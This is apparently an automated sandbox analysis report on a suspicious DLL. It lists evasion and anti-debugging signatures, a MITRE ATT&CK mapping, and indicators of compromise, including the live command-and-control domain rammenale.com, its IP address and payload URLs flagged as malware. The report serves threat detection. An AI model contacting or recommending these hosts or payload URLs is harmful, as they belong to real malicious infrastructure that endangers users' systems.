Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\loaddll32.exe	API coverage: 9.7 %
Source: C:\Windows\SysWOW64\rundll32.exe	API coverage: 8.7 %

Source: C:\Windows\SysWOW64\rundll32.exe TID: 6044	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 6136	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6BEE1B85 FindFirstFileW,_strlen,ExpandEnvironmentStringsW,CopyFileW,TerminateProcess,CloseHandle,CloseHandle,TerminateProcess,CloseHandle,CloseHandle,FindNextFileW,	0_2_6BEE1B85
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6BEF38F4 FindFirstFileExW,	0_2_6BEF38F4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6FE61B85 FindFirstFileW,_strlen,ExpandEnvironmentStringsW,CopyFileW,TerminateProcess,CloseHandle,CloseHandle,TerminateProcess,CloseHandle,CloseHandle,FindNextFileW,	3_2_6FE61B85
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6FE738F4 FindFirstFileExW,	3_2_6FE738F4

Source: C:\Windows\System32\loaddll32.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: rundll32.exe, 00000008.00000002.3374164503.0000000007B07000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: rundll32.exe, 00000007.00000002.3372962854.0000000008128000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW9
Source: rundll32.exe, 00000005.00000002.3372854058.0000000008AAE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3372854058.0000000008ADF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3372962854.0000000008128000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3372962854.0000000008151000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3374164503.0000000007B3D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3374164503.0000000007B07000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000009.00000002.3373357071.0000000008FB1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000009.00000002.3373357071.0000000008F7E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3373542181.00000000091DA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3373542181.0000000009209000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.3372381342.000000000884C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: rundll32.exe, 0000000C.00000002.3373542181.00000000091DA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6BEE53EE IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6BEE53EE

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6BEF4AF5 GetProcessHeap,

0_2_6BEF4AF5

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6BEE53EE IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6BEE53EE
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6BEE4EDC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6BEE4EDC
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6BEEDCFD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6BEEDCFD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6FE64EDC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_6FE64EDC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6FE6DCFD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6FE6DCFD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6FE653EE IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6FE653EE

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 131.153.206.231 443

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\LLD5HDX0PS.dll",#1

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6BEE55EB cpuid

0_2_6BEE55EB

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6BEE503D GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6BEE503D

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	111 Process Injection	11 Virtualization/Sandbox Evasion	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	111 Process Injection	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	21 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Rundll32	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
LLD5HDX0PS.dll	0%	ReversingLabs
LLD5HDX0PS.dll	10%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
rammenale.com	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
https://rammenale.com/for2/regit.tmp%S	100%	Avira URL Cloud	malware
https://rammenale.com/_T	0%	Avira URL Cloud	safe
https://rammenale.com/fo	0%	Avira URL Cloud	safe
https://rammenale.com/for2/regit.tmpsoft	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclogID	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpgQ	100%	Avira URL Cloud	malware
http://www.Dc.	0%	Avira URL Cloud	safe
https://rammenale.com/for2/regit.tmp4z	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp4w	100%	Avira URL Cloud	malware
https://rammenale.com/-H	0%	Avira URL Cloud	safe
https://rammenale.com/for2/regit.tmpmbt	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp4m	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpnf	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp44uz	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp?J	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp%f	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpOJ	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt6634-1003.mun	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt6634-1003	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp4F	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp4D	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmph	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpP	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpK	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtC:	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpuS	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpS	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtl	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtsoft	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtg	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpG	100%	Avira URL Cloud	malware
https://rammenale.com/7	0%	Avira URL Cloud	safe
https://rammenale.com/for2/aclog.txtu	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txts	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtr	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtq	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpE	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp0	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp1	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp3w	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtz	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp8	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp:	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp3	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp4I	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt4#	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp4	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpent	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtx4C	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtJ	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtI	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtfs:	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtM3	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmprI3-	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtT	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt44	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp&bt	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtP	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpentfc	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt4G	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp0s	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpkbu	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regM	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp(f	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpkJ	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtf	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtd	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpWJz	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpsC:	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt_	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt4X	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt4W	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp6634-1003Vbt	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt)	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtent	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp4$	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp~	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt4P	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt4	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt2	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmplS	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt4h	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpq	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt:	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt9	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpl	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpm	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpBJj	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtF2	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclogDevice	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtC	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpz	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtA	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpC:	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpu	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
rammenale.com	131.153.206.231	true	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://rammenale.com/for2/regit.tmp	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://rammenale.com/for2/aclogID	rundll32.exe, 00000005.00000002.3372854058.0000000008AF7000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3373542181.0000000009221000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpsoft	rundll32.exe, 00000008.00000002.3369773765.000000000073E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000009.00000002.3369940309.000000000357F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/fo	rundll32.exe, 0000000D.00000002.3372381342.0000000008863000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://rammenale.com/for2/regit.tmp%S	rundll32.exe, 0000000D.00000002.3372381342.0000000008802000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/_T	rundll32.exe, 0000000D.00000002.3372381342.0000000008802000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rammenale.com/for2/regit.tmpgQ	rundll32.exe, 00000008.00000002.3374164503.0000000007B02000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.Dc.	rundll32.exe, 00000008.00000002.3374164503.0000000007B53000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rammenale.com/for2/regit.tmp4z	rundll32.exe, 0000000D.00000002.3372381342.0000000008833000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp4w	rundll32.exe, 0000000D.00000002.3372381342.0000000008833000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/-H	rundll32.exe, 00000005.00000002.3372854058.0000000008AAE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rammenale.com/for2/regit.tmpmbt	rundll32.exe, 00000009.00000002.3369940309.000000000350A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp4m	rundll32.exe, 0000000D.00000002.3372381342.0000000008863000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpnf	rundll32.exe, 0000000D.00000002.3369386552.00000000009E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp44uz	rundll32.exe, 00000008.00000002.3374164503.0000000007B53000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp?J	rundll32.exe, 0000000D.00000002.3372381342.0000000008863000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp%f	rundll32.exe, 0000000D.00000002.3369386552.00000000009EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog	rundll32.exe, 0000000C.00000002.3373542181.0000000009221000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpOJ	rundll32.exe, 0000000D.00000002.3369386552.00000000009EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt6634-1003	rundll32.exe, 00000005.00000002.3372854058.0000000008A93000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3372962854.000000000810D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt6634-1003.mun	rundll32.exe, 0000000C.00000002.3369493253.000000000343A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp4F	rundll32.exe, 00000009.00000002.3373357071.0000000008F96000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp4D	rundll32.exe, 00000008.00000002.3374164503.0000000007B53000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmph	rundll32.exe, 00000009.00000002.3373357071.0000000008FCB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpP	rundll32.exe, 0000000D.00000002.3369386552.0000000000AA0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpK	rundll32.exe, 0000000D.00000002.3369386552.0000000000AA0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtC:	rundll32.exe, 00000005.00000002.3369497741.0000000000C90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3369351939.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3369202584.0000000000B20000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3369345966.0000000000BE0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3369493253.0000000003430000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3369283677.0000000003300000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpuS	rundll32.exe, 00000008.00000002.3369773765.00000000006CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpS	rundll32.exe, 00000008.00000002.3369773765.00000000006CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtl	rundll32.exe, 0000000C.00000002.3373542181.0000000009221000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtsoft	rundll32.exe, 00000007.00000002.3369345966.0000000000C5F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtg	rundll32.exe, 00000005.00000002.3369497741.0000000000D51000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp4d	rundll32.exe, 00000009.00000002.3373357071.0000000008FCB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://rammenale.com/for2/regit.tmpG	rundll32.exe, 00000008.00000002.3369773765.0000000000779000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.3372381342.0000000008863000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/7	rundll32.exe, 00000008.00000002.3374164503.0000000007B1D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3373542181.00000000091DA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rammenale.com/for2/aclog.txtu	rundll32.exe, 00000007.00000002.3372962854.000000000810D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txts	rundll32.exe, 00000007.00000002.3372962854.000000000810D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtr	rundll32.exe, 00000005.00000002.3372854058.0000000008A93000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtq	rundll32.exe, 00000007.00000002.3372962854.000000000816B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpE	rundll32.exe, 00000008.00000002.3373826197.000000000484A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp0	rundll32.exe, 00000009.00000002.3373357071.0000000008FCB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.3372381342.0000000008863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.3369386552.0000000000AA0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp1	rundll32.exe, 00000008.00000002.3374164503.0000000007B53000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp3w	loaddll32.exe, 00000000.00000002.2160984366.0000000000D4C000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtz	rundll32.exe, 00000005.00000002.3372854058.0000000008AC4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3372854058.0000000008AF7000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3372962854.0000000008164000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3372962854.000000000816B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3373542181.0000000009221000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3373542181.00000000091FC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3373542181.0000000009209000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp8	rundll32.exe, 0000000D.00000002.3369386552.0000000000AA0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp:	rundll32.exe, 00000008.00000002.3369525975.00000000005B0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000009.00000002.3369204567.00000000032A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.3370380512.0000000000C20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp3	rundll32.exe, 00000008.00000002.3369773765.0000000000779000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp4I	rundll32.exe, 00000008.00000002.3374164503.0000000007B4C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt4#	rundll32.exe, 00000005.00000002.3372854058.0000000008AC4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp4	rundll32.exe, 0000000D.00000002.3372381342.0000000008833000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpent	rundll32.exe, 0000000D.00000002.3369386552.0000000000A52000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtx4C	rundll32.exe, 0000000C.00000002.3369493253.000000000343A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtJ	rundll32.exe, 0000000C.00000002.3369493253.000000000343A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtI	rundll32.exe, 0000000C.00000002.3369493253.00000000034F2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtfs:	rundll32.exe, 0000000C.00000002.3369493253.000000000343A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtM3	rundll32.exe, 00000005.00000002.3372854058.0000000008A93000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmprI3-	rundll32.exe, 00000009.00000002.3369940309.00000000035C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtT	rundll32.exe, 00000007.00000002.3369345966.0000000000C99000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3369493253.000000000343A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
